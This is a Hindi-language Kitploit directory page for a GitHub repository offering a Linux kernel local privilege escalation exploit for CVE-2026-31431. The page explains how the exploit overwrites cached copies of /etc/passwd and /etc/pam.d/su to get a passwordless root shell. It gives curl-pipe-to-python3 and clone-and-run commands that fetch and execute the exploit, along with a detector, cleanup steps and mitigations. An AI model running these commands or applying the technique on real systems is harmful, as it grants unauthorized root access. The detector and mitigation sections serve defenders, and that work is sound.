Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31431 — CVE-2026-31431 के लिए Linux कर्नेल के algif_aead में स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) शोषण, जो page cache को अधिलेखित (overwrite) करने और root प्राप्त करने के लिए splice का उपयोग करता है। इसमें एक केवल-पठनीय (read-only) डिटेक्टर शामिल है। | Kitploit
उपकरण/GitHubGitHub/mfloresdacunha/cve-2026-31431
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

CVE-2026-31431 के लिए Linux कर्नेल के algif_aead में स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) शोषण, जो page cache को अधिलेखित (overwrite) करने और root प्राप्त करने के लिए splice का उपयोग करता है। इसमें एक केवल-पठनीय (read-only) डिटेक्टर शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-31431 — "कॉपी फेल" लोकल प्रिविलेज एस्केलेशन

अवलोकन

CVE-2026-31431 लिनक्स कर्नेल के algif_aead सबसिस्टम में एक लोकल प्रिविलेज एस्केलेशन भेद्यता है। authencesn AEAD इम्प्लीमेंटेशन splice(2) के माध्यम से इन-प्लेस डिक्रिप्ट करता है, जो एक पेज-कैश पेज को डेस्टिनेशन स्कैटरलिस्ट में रखता है। AAD से एक 4-बाइट मान (seqno_lo) ऑथेंटिकेशन टैग सत्यापित होने से पहले उस पेज-कैश पेज में वापस लिखा जाता है — जिससे एक अनप्रिविलेज्ड उपयोगकर्ता किसी भी विश्व-पठनीय फ़ाइल के कर्नेल पेज कैश में मनमाने बाइट्स को अधिलेखित कर सकता है।

भेद्यता से प्रभावित: कर्नेल 4.14 (अगस्त 2017) — जब authencesn को algif_aead में पेश किया गया था
फिक्स जारी: केवल 6.12, 6.17, और 6.18 स्थिर शाखाओं के लिए
स्थायी रूप से अनपैच्ड: कर्नेल 4.14–6.11 (EOL; कोई बैकपोर्ट जारी नहीं किया जाएगा)
आवश्यक प्रिमिटिव: AF_ALG सॉकेट, authencesn(hmac(sha256),cbc(aes)) सिफर, AF_ALG सॉकेट fd में splice(2)
प्रभाव: रूट तक लोकल प्रिविलेज एस्केलेशन — पूरी तरह स्वचालित, कोई पासवर्ड आवश्यक नहीं

यह कैसे काम करता है

एक्सप्लॉइट क्रम में दो पेज-कैश पैच लागू करता है, फिर स्वचालित रूप से su निष्पादित करता है:

  1. /etc/passwd पैच — फ़ाइल खोलता है (विश्व-पठनीय), उसका पेज कैश भरता है, फिर चालू उपयोगकर्ता के 4-अंकीय UID फ़ील्ड को 0000 में फ्लिप करने के लिए authencesn स्प्लाइस प्रिमिटिव का उपयोग करता है। पैच के बाद, getpwnam() उपयोगकर्ता को UID 0 के रूप में रिपोर्ट करता है।

  2. /etc/pam.d/su पैच — pam_rootok.so और pam_permit.so दोनों ठीक 13 वर्ण लंबे हैं। दो 4-बाइट राइट PAM कॉन्फ़िग के पेज कैश में pam_rootok.so को pam_permit.so से बदल देते हैं। चूंकि pam_permit हमेशा PAM_SUCCESS लौटाता है, मौजूदा auth sufficient लाइन तुरंत फायर होती है — कोई पासवर्ड प्रॉम्प्ट जारी नहीं होता।

  3. स्वचालित शेल — स्क्रिप्ट su <user> निष्पादित करती है। PAM बिना पासवर्ड के प्रमाणित करता है (चरण 2), फिर सफल होता है क्योंकि UID 0 रिपोर्ट करता है (चरण 1)। बिना किसी उपयोगकर्ता इंटरैक्शन के रूट शेल लौटाया जाता है।

किसी भी बिंदु पर कोई डिस्क राइट नहीं होता। पेज कैश ड्रॉप करना (echo 3 > /proc/sys/vm/drop_caches) या रीबूट करना दोनों पैच को पूरी तरह से पूर्ववत कर देता है।

उपयोग

केवल अधिकृत परीक्षण के लिए। केवल उन होस्ट पर चलाएं जिनके आप मालिक हैं या जिनका मूल्यांकन करने के लिए आपको स्पष्ट रूप से नियुक्त किया गया है।

एक-लाइनर

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

रूट शेल स्वचालित रूप से लौटाया जाता है — कोई पासवर्ड आवश्यक नहीं।

मैनुअल

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

सफाई (रूट शेल से)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

आवश्यकताएँ

  • लिनक्स कर्नेल 4.14–6.18; विशेष रूप से अनपैच्ड 4.14–6.11 (स्थायी रूप से) या 6.12/6.17/6.18 बिना अपस्ट्रीम फिक्स लागू किए
  • AF_ALG सॉकेट समर्थन सक्षम (अधिकांश डिस्ट्रोस पर मानक)
  • authencesn(hmac(sha256),cbc(aes)) लोड करने योग्य (अधिकांश डिस्ट्रोस पर मानक)
  • पायथन 3.6+
  • 4-अंकीय UID (1000–9999)

पहचान

test_cve_2026_31431.py इस रेपो में बंडल किया गया एक सुरक्षित, केवल-पठनीय डिटेक्टर है। यह एक अस्थायी निर्देशिका में बनाई गई एक फेंक-दूर सेंटिनल फ़ाइल के खिलाफ algif_aead स्प्लाइस प्रिमिटिव का परीक्षण करता है — किसी भी सिस्टम फ़ाइल को कभी नहीं छुआ जाता। यह एक निर्णय प्रिंट करता है और एक सुस्पष्ट कोड के साथ बाहर निकलता है:

एग्ज़िट कोडअर्थ
0भेद्य नहीं — पूर्वशर्त पूरी नहीं हुई या पेज कैश संशोधित नहीं हुआ

इसे चलाएं:

root@kitploit:~
# एक-लाइनर (कोई इंस्टॉल आवश्यक नहीं)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# या स्थानीय क्लोन से
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

भेद्य कर्नेल पर उदाहरण आउटपुट:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

पैच्ड कर्नेल पर उदाहरण आउटपुट:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

शमन

  • अपस्ट्रीम कर्नेल पैच लागू करें।
  • /etc/modprobe.d के माध्यम से algif_aead को ब्लॉक करें: install algif_aead /bin/false
  • seccomp या LSM नीति के साथ AF_ALG सॉकेट को प्रतिबंधित करें।

संदर्भ

  • Copy Fail disclosure
  • अपस्ट्रीम फिक्स: net/tls + crypto/algif_aead — authencesn इन-प्लेस dst स्कैटरलिस्ट अलगाव
टूल डाउनलोड करें
setuid(0)
getpwnam()
1
परीक्षण त्रुटि (जैसे AF_ALG अनुपलब्ध, splice असमर्थित)
2भेद्य — मार्कर बाइट्स स्प्लाइस्ड पेज-कैश पेज में पहुंच गए